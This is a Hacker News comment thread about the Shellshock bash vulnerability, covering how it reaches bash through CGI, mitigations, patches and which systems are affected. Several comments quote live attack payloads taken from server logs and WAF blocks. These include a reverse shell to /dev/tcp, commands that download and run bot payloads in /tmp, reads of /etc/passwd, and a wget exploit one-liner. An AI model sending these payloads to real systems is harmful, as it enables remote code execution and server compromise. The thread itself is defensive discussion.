Everything you need to know about the Shellshock Bash bug - <AUTHOR> http://www.troyhunt.com/2014/09/everything-you-need-to-know-about.html <comment><USER5> This is being actively exploited. We (CloudFlare) put in place WAF rules to block the exploit yesterday and I've been looking at the log files for the blocking to see what's going on. Have been seeing things like:

        () { :;}; /bin/ping -c 1 198.x.x.x
        () { :;}; echo shellshock-scan > /dev/udp/example.com/1234
        () { ignored;};/bin/bash -i >& /dev/tcp/104.x.x.x/80 0>&1
        () { test;};/usr/bin/wget http://example.com/music/file.mp3 -O ~/cgi-bin/file.mp3
        () { :; }; /usr/bin/curl -A xxxx http://112.x.x.x:8011
        () { :; }; /usr/bin/wget http://115.x.x.x/api/file.txt
        () { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd
        () { :; }; /bin/bash -c "if [ $(/bin/uname -m | /bin/grep 64) ]; then /usr/bin/wget 82.x.x.x:1234/v64 -O /tmp/.osock; else /usr/bin/wget 82.x.x.x:1234/v -O /tmp/.osock; fi; /bin/chmod 777 /tmp/.osock; /tmp/.osock &

If you are one of our (paying) customers the rules to block this exploit are enabled automatically.

<comment><USER6> Out of curiosty: did it cause any problems with intended use of this shell feature? Did anyone complained that it broke something that worked before?

<comment><USER7> I assume Cloudflare are filtering HTTP headers. I cannot imagine a valid reason to pass in functions to bash in headers.

<comment><USER8> And functions with malicious shell script appended at that! ;)

</comment></comment></comment></comment><comment><USER9> Read a bit about this because I didn't understand CGI. tl;dr version of what's going on here, if I'm not mistaken (assuming apache/php for this example):

1\. Web server (apache) gets request to route to CGI script (PHP)

2\. Per the CGI spec, apache passes the request body to PHP as stdin & _sets the HTTP headers as environment variables_ , so PHP can access them

3\. In the PHP script, `exec`/`passthru`/`shell_exec` etc. is called to do something in the shell/on the system level. This spawns a new shell (which may be bash)

4\. bash _interprets the environment variables set by apache_

The rub lies in step 4: when bash interprets an environment variable called `HTTP_USER_AGENT` containing the value `() { :;}; /bin/ping -c 1 198.x.x.x` it "gets confused" & interprets that first part (before the second semicolon) as a function, _then executes the second part as well_

Hopefully this answers the "how does the exploit get from the browser to bash?"

Further question: "If I do _not_ use exec/shell_exec/popen etc, am I still vulnerable (just by virtue of using mod_php)?" AFAICT No, but I am not really sure (I hope someone clears this up).

Additional note about PHP: disabling all these passthru type functions has been recommended for years: [http://www.cyberciti.biz/faq/linux-unix-apache- lighttpd-phpi...](http://www.cyberciti.biz/faq/linux-unix-apache-lighttpd- phpini-disable-functions/)

<comment><USER10> Can someone who understands CGI enlighten me why (oh why) everyone treats #4 as the main problem instead of #2 ?

I mean, looking at it from an outside perspective, I can interpret #4 as working as intendeed (attacker calls my shell with arbitrary parameters and, naturally, my shell does arbitrary things controlled by the attacker), and #2 as a total WTF - why is apache passing arbitrary input data to global-scoped (as in, affecting the subsequent bash invocations) environment variables; and can it stop doing it? If not, why is apache passing this data without any verification/sanitization/escaping, and can it stop doing it?

The fixes to the bash flaw seem like a band-aid - if some web service invokes other programs that somehow get called with attacker-defined environment variables, then it seems like a potential for future exploits on other targets than bash; many other things will change their behavior depending on the environment vars.

<comment><USER11> The flaw lies in the combination of 2/3.

The HTTP_ environment variables are user input.

The PHP (or whatever CGI script) should be sanitizing user input before using it.

If this was PHP scripts doing something like this: system("/bin/sh ".$_GET['x']);

Nobody would be freaking out... because that's just stupid.

<comment><USER10> In your opinion, what is the difference between php blindly passing unsanitized user input onwards to bash, and apache blindly passing unsanitized user input onwards to php?

Furthermore, in the sample attacks the php scripts _don 't_ 'use' that user input in any way; bash gets them because, well, it shares the same environment and its variables. If you'd want a php script 'sanitizing' those variables then it would mean checking for any possible HTTP_ environment variables and explicitly altering them even if the script doesn't recognize them - <USER2> seems ridiculous as well.

<comment><USER11> PHP is specifically designed to deal with unsanitized user input.

bash is not, seems pretty obvious

</comment></comment></comment></comment></comment><comment> f- Since the post is relatively non-technical, I'd like to underscore that there are substantial concerns with the original and the followup patch, because with or without it, the underlying bash code parser is still exposed to the Internet. Nobody has posted an RCE vector that would be universally bad for the patched version, but several people have already identified "hmm, that's unexpected" types of global side effects when attacker-controlled strings are parsed as functions by bash. More is likely to come.

As of today, based on our conversations on oss-security, there is a third, unofficial patch that takes a much saner approach of isolating exported functions in a distinct namespace:

[http://www.openwall.com/lists/oss- security/2014/09/25/13](http://www.openwall.com/lists/oss- security/2014/09/25/13)

Especially in high-value or high-risk scenarios, you may want to give it a try. And if you're interested in the reasons why the original patch is problematic, check out:

[http://lcamtuf.blogspot.com/2014/09/quick-notes-about- bash-b...](http://lcamtuf.blogspot.com/2014/09/quick-notes-about-bash-bug-its- impact.html)

<comment><USER12> The idea of using _bash_ to do anything with input coming from the internet is asking for trouble, really... It's just a flaw with how CGI works generally, and how PHP etc. encourage you to build webapps.

It's the same principle as SQL-injection attacks (and the flaw is there for the same reason! It's the obvious quick solution to just query mysql with "select * from users where username = " . PARAMS['username']....

But this is far more dangerous -- injecting malicious SQL can reveal data, or break things. Injecting malicious bash commands can reconfigure your server to do _whatever they like_.

<comment><USER13> I've worked with sysadmins that insisted that CGI be disabled for exactly this reason. If we wanted a dynamic website we needed to use mod_perl or mod_php (it was back in the early 2000s, Rails/Django/nginx hadn't yet been invented). It wasn't a perfect solution - both of them still had plenty of security vulnerabilities - but it cut down the attack surface significantly.

Now I understand what all the security people who said "never use system(). Never, ever" meant.

</comment></comment></comment><comment><USER14> So trying to understand the issue here, is this actually a bash thing or a problem with the web server forwarding commands to bash? I don't understand why bash would be listening to network traffic on its own.

<comment><USER15> That was my first question as well. The behavior sounds like exactly the kind of magical weirdness you get with shells. Your question is asked and answered here: [https://stackoverflow.com/questions/26022248/is-the- behavior...](https://stackoverflow.com/questions/26022248/is-the-behavior- behind-this-vulnerability-documented-or-at-all-intentional) The answer given there is that the behavior is NOT a documented feature; it's a side-effect of how bash implements inherited functions.

I was also very confused about why a web server would need to store HTTP headers in environment variables. Why would a mature piece of software like Apache do something so hackish? The explanation turns out to be very simple: it's how CGI works. Headers are passed to the CGI script as environment variables. If you don't do it that way, you don't support CGI.

There's one thing that still confuses me, though: why would a CGI implementation use the shell to set environment variables? Why would you use a complex, idiosyncratic piece of software that comes in many different flavors instead of just using the C setenv function?

<comment><USER16> Apache isn't setting CGI variables _using_ the shell. It may _call_ a shell (indirectly or directly) when _executing_ the CGI script.

<comment><USER17> So does that mean that running a bash script under cgi doesn't inherently expose you to the vulnerability, you're vulnerable only if the bash script called invokes a shell in a sub-process?

<comment><USER18> If you're running a bash script as a cgi script in your web server, you're already vulnerable in half a dozen ways. Nobody does that.

If you're running a php/perl/python/ruby script as a cgi script in your web server, and that script calls system() or some variant thereof (backticks in perl, os.system in python), then you're vulnerable to this.

Not many people does that, but those who do won't be things you think of as web applications. They're going to be web control panels you installed and forgot about, or cheap home routers that nobody knows who made the firmware to.

</comment></comment></comment></comment></comment><comment><USER19> Skimming this post, it appears to only reference CVE-2014-6271 and not CVE-2014-7169, so probably not 'everything you need to know'.

(Searching for '=>' doesn't show anything, which I would expect it to if -7169 was mentioned.)

<comment><USER20> See [https://news.ycombinator.com/item?id=8365158](https://news.ycombinator.com/item?id=8365158)

</comment></comment><comment><USER21> Unless I've missed something, could some benevolent person use the bug to cause remote systems to run something like "sudo apt-get update && sudo apt- get install bash", to patch the vulnerability automatically? (it makes lots of assumptions, but surely it's better to have some patched systems as a result.)

<comment><USER22> and how would the "benign attacker" know the super user password that sudo will ask for? its not like this is a logged in ssh session.

<comment><USER12> sudo can be set up lots of different ways -- including such that there's no password needed.

> its not like this is a logged in ssh session

That's not correct -- whatever user is executing your CGI scripts is the "logged-in" user in bash, right?

Obviously that user _should_ be quite locked down, and should not be allowed to run sudo at all, let alone without a password... but there are so many amateur server admins out there that I imagine there are quite a few servers where this is a serious problem (with or without sudo access enabled for the executing user).

</comment></comment></comment><comment><USER23> If you're running Apache on Linux/UNIX, and don't absolutely need CGI, it's straightforward to turn it off in Apache.

Put a "#" in front of

LoadModule cgi_module modules/mod_cgi.so

in /etc/httpd/conf/httpd.conf. This prevents the code that runs CGI scripts from even being loaded with Apache, and will totally disable all CGI scripts. Apache is willing to execute CGI scripts from far too many directories, and many Linux distros have some default CGI scripts lying around.

This will break CPanel, but not non-CGI admin tools such as Webmin. I can't say anything about PHP; we don't use it.

People are out there probing. This is from an Apache server log today from a dedicated server I run.

18.104.22.168 - - [24/Sep/2014:23:08:56 -0700] "GET /cgi- sys/defaultwebpage.cgi HTTP/1.0" 301 338 "-" "() { :;}; /bin/ping -c 1 188.8.131.52"

The source is on "i3d.net", which is a hosting service in Rotterdam NL. So someone is running probes from something bigger than a desktop. I sent their support people a note.

</comment><comment><USER24> For Windows devs: remember that some tools and libraries come with bash (and some may not even tell you explicitly).

For instance, msysgit has the vulnerability[1]:

      $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
      vulnerable
      this is a test

[1] from the comments on the blog in the OP

<comment><USER25> Can confirm the same for Github for Windows (msysgit again), Chef for Windows (embedded bash) as well as Cygwin's bash

</comment></comment><comment><USER26> For Mac OS X, until Apple releases a software update, I've applied the original CVE-2014-6271 (shellshock) patch and am going to apply the CVE-2014-7169 patch as well once it passes review. Repository and instructions to reproduce without trusting me are located here:

[https://github.com/ido/macosx-bash-92-shellshock- patched](https://github.com/ido/macosx-bash-92-shellshock-patched)

<comment><USER27> why not simply chmod 0000 `which bash` ?

<comment><USER28> The problem is that some utilities rely heavily on bashisms such that they're unlikely to work with dash or other POSIX-compliant sh-replacements. As an Arch user, just off the top of my head, I can think of yaourt (AUR helper) and apparently the shell script for invoking gradle as both reliant on such behavior. The latter may not affect everyone, and after running into just those two samples today, I can only imagine what else may be affected.

The best solution I could think of as a work around is to install dash, replace the /bin/sh symlink pointing to dash, and then chown/chmod bash so that only those specific users who need to use it can use it. This isn't _perfect_ , because it could still be affected by web services that run as users that would then have access to bash via their member group(s), or because a web service might rely on another application that itself requires specific bashisms in order to function.

This is why abandoning correctness for convenience can be dangerous.

</comment></comment></comment><comment><USER23> A question worth asking: how long has this been exploited? If you have years of Apache logs, go back through them with "grep" and look for attempts to exploit this vulnerability. Report the earliest date on which you find a hit. Thanks.

<comment><USER29> It would be really nice if log aggregation services (Splunk, Loggly, Papertrail, etc) would do this, notify affected customers, and publicly release anonymized information about it.

</comment></comment><comment><USER30> So if your server is set up with limited permissions for the apache-user, are you still at risk?

I don't think the apache-user if properly restricted can write to directories, or even read most of the system files?

<comment><USER31> Things like that lower the risk: run everything as a low-privilege account (better, not even www-data but per-site), chroot()-ed, etc. and certain classes of attack will either fail or at least be easier to clean up.

The problem with all of this is that it assumes that you don't have privilege escalation vulnerabilities on the local system, which is often not the case unless non-trivial effort has gone into hardening the server – e.g. all of that privilege separation is a waste if someone sledgehammer-ed a chmod 777 into a script rather than setting the appropriate ownership and permissions or someone delayed a kernel update because they didn't want the downtime and "knew" that only trusted code ran on that system.

</comment></comment><comment><USER32> From the article:

"Of course one means of mitigating this particular attack vector is simply to disable any CGI functionality that makes calls to a shell"

If you're on Ubuntu:

        a2dismod cgi
        service apache2 restart

If you're NOT running any CGI scripts this will disable CGI support in Apache. Not sure if that takes care of things 100%, but might be helpful.

<comment><USER33> If you're on Ubuntu or Debian your CGI scripts will probably use dash, not bash.

<comment><USER34> Debian yes, Ubuntu's default is bash. So is Mint's.

<comment><USER35> On Ubuntu, /bin/sh is a symlink to dash. /bin/sh is what system() will invoke.

<comment><USER34> It is, however when you create a user its default shell is bash unless otherwise specified.

<comment><USER35> Of course, but what's the exploit vector in that case?

<comment><USER34> That the users created for Apache, database daemons, etc, default to bash for cgi.

<comment><USER28> The passwd file contains the _login shell_ configured for that user. Operating in the context of a daemon for most sane applications, this configuration doesn't (or shouldn't?) matter unless the user logs in. [1]

For Apache, I believe /bin/sh (or the shell it points to) is what's at issue here. [2]

[1] [http://unix.stackexchange.com/questions/38175/difference- bet...](http://unix.stackexchange.com/questions/38175/difference-between- login-shell-and-non-login-shell)

[2] [http://security.stackexchange.com/questions/68146/how-do- i-s...](http://security.stackexchange.com/questions/68146/how-do-i-secure- apache-against-the-bash-shellshock-vulnerability)

(This is also discussed earlier in the thread.)

<comment><USER34> Apache uses APR, which is a separate package/set of packages to the webserver proper. Depends on the distro how this works exactly. See for instance [https://launchpad.net/ubuntu/precise/+source/apr- util](https://launchpad.net/ubuntu/precise/+source/apr-util)

Unless the distro changes it, APR defines SHELL_PATH as a macro pointing to /bin/sh (note this isn't the homonym env variable, that would be a serious problem if it was since shellshock allows setting env variables by other means that are very public by now).

In a system I have access to, the installation procedure for some servers (not webserver necessarily) includes creating users with a full environment to be able to issue commands for these servers at a higher privilege. At the creation of these users, Ubuntu Server assigned them bash as their shell. I wonder if they're attackable at their public ports, but I haven't bothered trying to find attacking vectors since they were in production and the sysadmin got rid of bash as soon as he could. Not giving much detail here since I assume there will be plenty of compromised servers in the wild right now, including DB servers, proxies, etc.

</comment></comment></comment></comment></comment></comment></comment></comment></comment><comment><USER36> Don't forget to update any Docker instances of OS's. My brother just challenged me and I'd assumed my Docker Ubuntu instances would be updated automatically by updating the main Ubuntu OS but that was not the case. In my defense I'm still new to Docker.

I also used this to list my containers:

      docker ps -la -n=100

And removed them all, then listed images:

      docker images

And removed them and then ran this to get the latest ubuntu installed from docker:

      docker run -i -t ubuntu /bin/bash

Then when inside the container ran:

      env X="() { :;} ; echo busted" `which bash` -c "echo completed"

The new docker image of ubuntu is still vulnerable.

Edit: Updating the container then committing it (Docker terminology) should ensure that container stays updated, though any new runs creating new containers would continue to be vulnerable I suspect until Docker patches them or whomever would be responsible to do so.

</comment><comment><USER37> Does anybody has steps what to do really as a sysadmin? Do I only need to install newest bash (on Linux systems) or do I also need to restart daemons like nginx/apache etc. ?

<comment><USER38> The vulnerability only affects bash when it is parsing environment variables, when it is just starting. So if a process is already running, it's not vulnerable and you don't have to restart it. You should definitely apply the patch from Wednesday, but be aware there is a related vulnerability that has no patch yet.

Add the configuration from this page [https://access.redhat.com/solutions/1207723](https://access.redhat.com/solutions/1207723) to your Apache or nginx config to deny malicious HTTP requests.

<comment><USER39> This isn't always true. Frequently sub-shells are started without people really knowing, like with backticks or parenthesis.

<comment><USER38> But the sub-shell that gets started will use the new binary, which will be safe.

</comment></comment></comment></comment><comment><USER40> The only suitable logo for this vulnerability: [http://img3.wikia.nocookie.net/__cb20080920183129/nintendo/e...](http://img3.wikia.nocookie.net/__cb20080920183129/nintendo/en/images/3/33/BlueShell.jpg)

<comment><USER41> I wonder which will cause a greater net suffering to mankind?

</comment></comment><comment><USER42> Is there a (low volume) mailing list that would have alerted me to both this and Heartbleed?

<comment><USER43> Your OS vendors security list.

<comment><USER42> Well, I mostly use Debian and Arch:

Debian isn't low volume: [https://lists.debian.org/debian-security- announce/2014/threa...](https://lists.debian.org/debian-security- announce/2014/threads.html)

Arch isn't high volume enough(!) [https://mailman.archlinux.org/pipermail/arch- security/](https://mailman.archlinux.org/pipermail/arch-security/)

Arch recommends the oss-security list, which is all too high volume [http://www.openwall.com/lists/oss- security/2014/09/](http://www.openwall.com/lists/oss-security/2014/09/)

<comment><USER43> I guess you want to filter eg the Debian list by the packages you have installed ideally. An API to the same info would be nice.

<comment><USER42> Or filter the NVD feeds from [http://nvd.nist.gov/download.cfm](http://nvd.nist.gov/download.cfm) ?

</comment></comment></comment></comment></comment><comment><USER44> In another thread, I saw that this was an easy check to see if your bash was affected:

         env X="() { :;} ; echo busted" /bin/sh -c "echo stuff"

If you get "busted" back, then you're affected...which is what I get with Mac OS X 10.9...however, when I try it on an Ubuntu server (14.x) that hasn't been patched in awhile...I don't get the error...Er, why is that? I thought this pretty much affected every bash since 25 years ago?

(Someone else in this thread mentioned that Ubuntu uses dash...so...all modern Ubuntu servers are OK?)

<comment><USER45> Debian-based systems use dash instead of bash for /bin/sh. But if you have scripts that explicitly use bash, you are still at risk.

<comment><USER46> I tried this and it didn't work on my Ubuntu machine, it echoed "stuff". env X="() { :;} ; echo busted" /bin/sh -c "echo stuff"

But then I tried this command and it echoed "vulnerable". env var='() { ignore this;}; echo vulnerable' bash -c /bin/true

</comment></comment></comment><comment><USER30> I see how Apache passes request information through environment variables but I don't see how bash comes into play in typical CGI.

Is anyone up for educating me?

I see http request -> apache -> env variables -> php

What am I missing?

<comment><USER47> I think I have the same question.. why is this called a "bash" bug? Is it not a webserver bug? Why does the webserver send data to bash through environment variables? Is there no better way to do it?

<comment><USER47> Wow, thanks for the downvotes, everyone!

I wonder how that is justified, since my _question_ generated 10 informative replies, five levels deep.

Does anyone dare to tell me why they downvoted my comment?

<comment><USER48> You are correct, you asked an innocent and to-the-point question.

</comment></comment></comment></comment><comment><USER49> Folks, for what it's worth, here is a management briefing I wrote this morning. Please feel free to re-use, but please do give proper attribution. Please do comment and correct as appropriate.

 _Summary:_ Briefing for management on activities to minimize impacts of the "shellshock" computer vulnerability.

 _Status:_ Testing underway. Initial appraisals are that public-facing systems are likely not subject to shellshock. NOTE: The situation is fluid, due to the nature of the vulnerability. Personnel are also reaching out to hosting providers to assess the status of intervening systems.

 _What is it?_ A vulnerability in a command interpreter found on the vast majority of Linux and UNIX systems, including web servers, development machines, routers, firewalls, etc. The vulnerability could allow an anonymous attacker to execute arbitrary commands remotely, and to obtain the results of these commands via their browser. The security community has nicknamed the vulnerability "shellshock" since it affects computer command interpreters known as shells.

 _How does it work?_ Command interpreters, or "shells", are the computer components that allow users to type and execute computer commands. Anytime a user works in a terminal window, they are using a command interpreter - <USER3> of the DOS command prompt. Some GUI applications, especially administrative applications, are in fact just graphical interfaces to command interpreters. The most common command interpreter on Linux and UNIX is known as the "bash shell". Within the last several days, security researchers discovered that a serious vulnerability has been present in the vast majority of instances of bash for the last twenty years. This vulnerability allows an attacker with access to a bash shell to execute arbitrary commands. Because many web servers use system command interpreters to fulfill user requests, attackers need not have physical access to a system: The ability to issue web requests, using their browser or commonly-available command line tools, may be enough.

 _How bad could it be?_ Very, very bad. The vulnerability may exist on the vast majority of Linux and UNIX systems shipped over the last 20 years, including web servers, development machines, routers, firewalls, other network appliances, printers, Mac OSX computers, Android phones, and possibly iPhones (note: It has yet to be established that smartphones are affected, but given that Android and iOS are variants of Linus and UNIX, respectively, it would be premature to exclude them). Furthermore, many such systems have web-based administrative interfaces: While many of these machines do not provide a "web server" in the sense of a server providing content of interest to the casual or "normal" user, many do provide web-based interfaces for diagnotics and administration. Any such system that provides dynamic content using system utilities may be vulnerable.

 _What is the primary risk?_ There are two, data loss and system modification. By allowing an attacker to execute arbitrary commands, the shellshock vulnerability may allow the attacker to both obtain data from a system and to make changes to system configuration. There is also a third risk, that of using affected systems to launch attacks against other systems, so-called "reflector" attacks: The arbitrary command specified by the attacker could be to direct a network utility against a third machine.

 _How easy is it to detect the vulnerability?_ Surprising easily: A single command executed using ubiquitous system tools will reveal whether any particular web device or web server is vulnerable.

 _What are we doing?_ Technical personnel are using these commands to test all web servers and other devices we manage and are working with hosting providers to ensure that all devices upon which we depend have been tested. When devices are determined to be vulnerable, a determination is made whether they should be left alone (e.g., if they are not public facing and patches are either not yet available or would be disruptive at this time, or if there are other mitigations or safeguards in place), patched (e.g., if patches are available and are low impact), or turned off (e.g., if patches are not available, risk is high, and the service is not mandate critical).

Updates to this briefing will provided as the situation develops.

<comment><USER50> > Initial appraisals are that public-facing systems are likely not subject to > shellshock.

All the managers I know will stop reading after this, sit back and think "aaah, those silly techies. Worrying about nothing".

I gave exactly the opposite advice: We should assume every public and non- public facing system is vulnerable (many were). I'd rather cause a big stinky scare and be proven wrong than downplaying the issue and being proven wrong.. the hard way.

You probably had a good reason for saying this to your organisation, but it's not something that other people should blindly re-use for their own purposes.

<comment><USER49> Yes, I did have a good reason: Our initial tests indicate that the organization is not vulnerable.

To be fair to you and to me, I can understand your take on what I posted but what I posted was redacted to remove organization-identifying information. A better redaction would perhaps have been _Our initial scans and appraisals are that our public-facing systems are likely not subject to shellshock_.

</comment></comment></comment><comment><USER51> Is there a way of preventing functions from being imported from the environment, but still allowing some variables in?

My experiments with

#!/usr/bin/env -i sh

and

#!/usr/bin/env - <USER4>

...have not obtained what I'm after.

The problem being that functions take precedence over names in the file system, so

        bash-4.2$ env '/bin/cp=() { echo oops;}' /bin/sh -c '/bin/cp /tmp/foo /tmp/bar'
        oops

<comment><USER52> If an attacker can fully control the name of an injected environment variable, then you've lost already. The attacker can override LD_PRELOAD, which is an environment variable honored by the Linux kernel itself.

<comment><USER51> LD_PRELOAD is not honored for setuid executables, but you're right, we don't want to go there.

</comment></comment></comment><comment><USER53> On Linux dhclient-script is written in bash. If it is vulnerable, then connecting to open wifi can be exploitable via rogue DHCP server.

</comment><comment><USER54> Keep an eye on the patches directory for whatever version you use:

[http://ftp.gnu.org/pub/gnu/bash/](http://ftp.gnu.org/pub/gnu/bash/)

Just had to manually patch a CentOS4 legacy system.

What I find interesting is the patch has been around since the 16th, what took so long and what finally lit a fire under the mainstream *nix releases?

<comment><USER55> >CentOS4 legacy system

Jesus. That's been out of support for well over 2 years. I can't imagine this is the only problem it has. I'm curious: what's keeping the organization from upgrading it?

<comment><USER56> Heh, you should see some of the systems that orgs I work with still have running. Just checked on one of my favorites:

      $ uptime
       07:26:20 up 3280 days, 16:23,  2 users,  load average: 0.00, 0.00, 0.00
      $ cat /etc/issue
      Debian GNU/Linux 3.1 \n \l

This one doesn't even have the excuse of running a piece of lab equipment (I saw such a system recently running Win95 _without_ OSR1, so it doesn't even have USB support. They move data around with ZIP disks!).

<comment><USER57> Attached via the 25-pin parallel port, no doubt?

</comment></comment></comment></comment><comment><USER58> I saw a couple of these hurled against my simple site:

        "() { :;}; /bin/bash -c \x22wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh\x22"

</comment><comment><USER59> You can tail your access.log and grep the expression "\\(?\s ___ \s _\\)?\s_ {|cgi" to get an idea if someone is trying to exploit your webserver. The cgi part will return a lot of false positives, but if you cannot disable cgi, you might as well track it being requested.

<comment><USER60> That will only find either clumsy exploit attempts or whitehat scans that are not trying to hide themselves.

CGI sends most headers through to the script as environment variables (i.e. a Foobar: header will turn into $HTTP_FOOBAR) so at attacker can just pick a header name that isn't likely to be logged.

</comment></comment><comment><USER61> Had anyone suggested and/or implemented something like building a tiny wrapper for bash that would clean environment and then execve("/bin/bash.vulnerable", argv, cleaned_envp)?

<comment><USER62> In the red hat links (already in the comments here) there is an LD_PRELOAD file which cleans the environment for _all_ your processes.

</comment></comment><comment><USER63> Can anyone explain what I should do on OSX?

I've heard that replacing /bin/bash with a newer version of bash from homebrew or even zsh will work but is that going to break anything that assumes 3.2 bash??

<comment><USER64> I've been running upgraded bash - and more recently, just zsh, in OSX for years. It has never broken anything here.

I think the risk of breaking something is outweighed by the risk of exploit.

<comment><USER43> have you pointed /bin/sh and /bin/bash at it?

</comment></comment></comment><comment><USER65> I've seen a lot of talk regarding the impact on embedded devices, but how many of these actually run GNU Bash? I can't think of many embedded devices that don't use Busybox instead.

<comment><USER66> >I can't think of many embedded devices that don't use Busybox instead.

What about all these shitty wireless routers out there? I think in the past they were QNX-based but they've long moved to being linux based. We know popular projects like dd-wrt and pfsense are probably okay (ash instead of bash), but what about the thousands of others? My own router is supplied by AT&T for its u-verse service. God knows what its running. Or all the NAS devices out there and load balancers, etc.

I guess we'll find out when the whitehats are done scanning the entire internet for vulnerable hosts.

<comment><USER65> I have a higher-end (albeit still consumer-level) ASUS wireless router that uses Busybox. I can't imagine that cheaper, lower-end models would be using full GNU bash instead.

</comment></comment></comment><comment><USER67> I've only seen 2 requests in my logs:

access.log:18.104.22.168 - - [25/Sep/2014:06:28:08 +0000] "GET /cgi- sys/defaultwebpage.cgi HTTP/1.0" 404 447 "-" "() { :;}; /bin/ping -c 1 18.104.22.168"

access.log:184.108.40.206 - - [26/Sep/2014:13:38:10 +0000] "GET / HTTP/1.0" 200 473 "-" "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/126.96.36.199/3333 0>&1'"

</comment><comment><USER68> With only static content (all logic implemented via cron).

        $ grep nginx /etc/passwd

        nginx:x:105:111:nginx user,,,:/nonexistent:/bin/false

And the only other service listening in this machine is SSH, but it's limited by iptables only to my home IP.

I think I'm safe. Now installing updates patches bash.

Anyway, I've seen that syntax before (I'm talking of years here), on #bash in freenode.

Simply nobody did apply this from a security view point in the channel...

</comment><comment><USER37> When comparing security warning from RedHat [https://access.redhat.com/solutions/1207723](https://access.redhat.com/solutions/1207723) vs Ubuntu [http://www.ubuntu.com/usn/usn-2362-1/](http://www.ubuntu.com/usn/usn-2362-1/) the RedHat one wants you to run /sbin/ldconfig or reboot your machine. Why Ubuntu does not recommend this? They do ldconfig automatically?

<comment><USER52> The vulnerability only exists during the startup of a bash process. Updating bash is enough. Bash processes that are already running are past the point where they could be exploited. Future calls to bash will get the updated version. No services need to be restarted to apply the fix.

</comment></comment><comment><USER69> Has anyone constructed this exploit as a simple `wget` command?

<comment><USER6> wget --header='Referer: () { :;}; touch /tmp/vulnerable ' www.example.com

<comment><USER69> Is there some easy way of detecting a site you don't control is vulnerable without bringing it down?

<comment><USER70> Yes, you can ask it to ping an address you control and record where the pings come from.

</comment></comment></comment></comment><comment><USER34> Either of these will typically show you your running terminal:

ps -p $$

echo $0 (command name that was used to invoke the shell)

Not reliable: echo $SHELL (preferred shell for the user, not necessarily what is running)

Also note that you may want to remove/fix bash to make sure it doesn't get run by something else. A CGI script may run it despite you changing your default shell to something else.

</comment><comment><USER71> I bet Microsoft are enjoying the fact that it is Linux that seems to have all the security vulnerabilities these days!

<comment><USER72> On the one hand, if this had been in Windows, no one in the public would have been able to stumble across it, though you would expect them to be paying rooms full of engineers to make sure that's never necessary (and yet stuff happens.)

On the other hand, despite the premise of open source that 'many eyes make all bugs shallow', the amount of code in the wild and the complexity of it (and the diversity of implementation languages) has pretty much guaranteed that there's more code than possible coverage.

No one has to come up with clever marketing for Microsoft exploits because everyone expects there to be tons of them, given the level of complexity, and that Microsoft will push patches for them, because it affects their bottom line. Meanwhile, it seems in the open source world, you need PR campaigns to goad the community into due diligence.

<comment><USER66> Considering most exploits are found via fuzzing tools, I think your assumption is pretty far away from reality.

If people could casually look at code and see vulnerabilities, then we wouldn't have any.

Also: MS Shared Source initiative

<comment><USER72> But people can casually look at code and see vulnerabilities, any time they want.

Although your point about the methods of exploits changing the dynamic is valid.

>Also: MS Shared Source initiative

Fair point.

<comment><USER73> >But people can casually look at code and see vulnerabilities, any time they want.

They could, but they don't. Same way I can look at the sky and see an asteroid. Possible? Sure. Likely? Not without some pretty advanced tools or a hell of a lot of luck.

</comment></comment></comment></comment></comment><comment><USER74> There are a lot of comments below stating mod_php is just as vulnerable as mod_cgi. This is NOT the case, mod_php is unaffected by shellshock.

Edit: Just to be clear, even using system / exec etc is not affected as the environment variables are not passed along to the sub process by the apache sapi.

</comment><comment><USER75> Here is a simple tool that you can use to check if your website is vulnerable: [http://milankragujevic.com/projects/shellshock/](http://milankragujevic.com/projects/shellshock/)

</comment><comment><USER76> I seem to remember somewhere on Show HN a service that lets one execute a command to populate an online pastebin. Something like: `cat | nc service.com 9199`. Now however I cannot find this service. Anyone know where?

</comment><comment><USER77> ISC DHCP Client has a check_option_values function (at the end of dhclient.c), which (if it is properly used, I don't understand the surrounding code enough) should prevent this from being exploited.

</comment><comment><USER78> [http://jaxbot.me/articles/cases-where-bash-shellshock-is- saf...](http://jaxbot.me/articles/cases-where-bash-shellshock-is- safe-09-25-2014)

Nginx + fpm not vulnerable?

</comment><comment><USER79> Can the bug be avoided just by setting the default shell for your webserver's user (generally www-data in debian) to /bin/dash? At least from the perspective of Apache users?

</comment><comment><USER80> I'm confused by this vuln report and all the attention.

If I don't run any CGI thing and I don't expose SSH without pubkey and only to trusted users, what is there for me to worry about?

<comment><USER81> The CGI and SSH attack vectors are getting a lot of attention because they are so _trivially_ exploitable. But as someone (I believe tptacek) put it in another thread, this bug has one of the biggest potential attack surfaces in history. _Anything_ that sets any environment variable to an untrusted value and then invokes bash is vulnerable. For example, on some systems, simply connecting to an attacker-controlled network is enough to cause code execution through the DHCP client.

If you choose not to upgrade bash, you are trusting that none of the code on your system uses bash in this way. It's extremely unlikely that the vectors that have been publicized so far are the only major ones.

<comment><USER80> Alright so necessary conditions are "sets env variables" \+ "invoke bash". That clarifies, thanks.

I'm not advocating not updating, I'm just trying to understand what to do with this info for say, my hosted project that _doesn't set env vars nor invoke bash_.

</comment></comment></comment><comment><USER82> There's no way that this bug could affect even a fraction of the number of users Heartbleed did. The number of affected machines is probably 1/10000th that of heartbleed, and heartbleed exposed hundreds of millions of users, the SSL keys of servers, etc to attack. The fact that legacy CGI scripts are the only attack vector being discussed right now is proof enough of how outdated this bug is.

Keep in mind that hackers constantly take advantage of old exploitable legacy software in servers around the world to get a shell, and nobody freaks out about it.

<comment><USER83> cPanel is probably the most popular reseller hosting software for shared web hosting and it relies on CGI in all kinds of places. That alone provides a huge amount of exploitable hosts - I tried to Shodan it (port 2082) but it seems down right now.

Since cPanel is designed for people without system administration experience, it's unlikely they will be patched in a timely manner too. All the CGI scripts are in known static locations, so I wouldn't be surprised to see a worm that targets cPanel servers very soon.

This is definitely not going to affect just a few legacy CGI sites.

<comment><USER54> cPanel uses CentOS and does system upgrades ala yum update.

Dunno if that is on by default or not though.

But you aren't going to get into its cgi interface without login so that would have to be cracked first.

<comment><USER84> But it seems you only need one login to compromise the whole server. If I buy $3 hosting on a shared server then I can pwn the whole server can't I (using cPanel to escalate an attack above my privelege level)? What are the chances that one user account on a shared server is crackable, pretty high I'd imagine.

</comment></comment></comment></comment><comment><USER85> The article points you you can run the following code to check you are affected:

